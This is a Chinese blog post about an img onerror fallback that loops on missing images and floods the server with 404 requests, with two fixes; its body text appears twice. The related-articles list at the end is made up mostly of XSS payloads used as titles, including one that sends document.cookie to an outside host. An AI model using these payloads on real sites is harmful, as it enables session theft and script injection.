前端的一些注意事项 <img onerror="src='images/no.png'">标签引起的异常
2017-01-21 10:12
471 查看
img标签的属性设置
<img src="XXXXX.png" onerror="src='images/no.png'" class="img-rounded"/>
当src的文件找不到时会触发 onerror来重新请求images/no.png这张图片,但是这张图片也不存在时会循环访问服务器请求图片 造成前端崩掉,后端频繁的404 error请求。
特别当分布式部署,而静态资源在别处时,这个情况还是容易遇到的。
解决方案
①
<img th:src="XXXX.png" onerror="this.onerror='';src='images/no.png'" class="img-rounded"/>
这样连onerror的图片显示不出来的情况,跟不设置onerror的情况时一样的,浏览器会给你显示一张碎裂的缩略图。因为你的image/no.png图片没找到,404错误
②
还有一个解决方法
就是onerror的图片用base64编码显式写进去,优点是一定会显式onerror设置的默认图片,缺点是字符有点儿长
<img src="XXXXX.png" onerror="src='images/no.png'" class="img-rounded"/>
当src的文件找不到时会触发 onerror来重新请求images/no.png这张图片,但是这张图片也不存在时会循环访问服务器请求图片 造成前端崩掉,后端频繁的404 error请求。
特别当分布式部署,而静态资源在别处时,这个情况还是容易遇到的。
解决方案
①
<img th:src="XXXX.png" onerror="this.onerror='';src='images/no.png'" class="img-rounded"/>
这样连onerror的图片显示不出来的情况,跟不设置onerror的情况时一样的,浏览器会给你显示一张碎裂的缩略图。因为你的image/no.png图片没找到,404错误
②
还有一个解决方法
就是onerror的图片用base64编码显式写进去,优点是一定会显式onerror设置的默认图片,缺点是字符有点儿长
相关文章推荐
- <a href="javascript:void(0)"><img src="../../../ui/images/reload.png" title="重传文件" style="width: 14p
- <img onerror="alert(1)" src="hi"></img> " strategy="CFRecommendAlgorithm">"> <img onerror="alert(1
- 诡异的【session丢失】和无语的【&lt;img src=""&gt;标签】
- csdn技术,来看看这个漏洞"><img src=hi onerror= confirm("csdn技术,来看看这个漏洞")>
- <img src="">标签通过js异步加载图片
- "><img src=hi onerror=alert(1)>
- "><img src=1 onerror=alert(1)>
- "><img src=1 onerror=alert(document.cookie)>
- 按钮图片<input type="image" class="peidui_Bt1" src="img/pedui_bt.png" />
- "><img src=hi onerror=alert(9)>
- <img src="t.cn/RPu2CiR" onerror="alert(123)">
- <img src=1 onerror="alert('Welcome to My CSDN Blog');">
- </em>;<img src="1" onerror="alert(1)">;//
- <img src=hi onerror='(new Image()).src="http://mengkang.net/?getCookie="+document.cookie'>
- "><img src=hi onerror=alert("测试一下")>
- <img src=""> img标签的src为空的缺陷
- this is a test:::"><img src=hi onerror=alert(document.cookie)>
- html <img>标签 src=""内的图片路径问题
- "><img src=hi onerror=alert(1)>
- testXSS <img src="aa" onerror="javascript:alert('XSS');"/>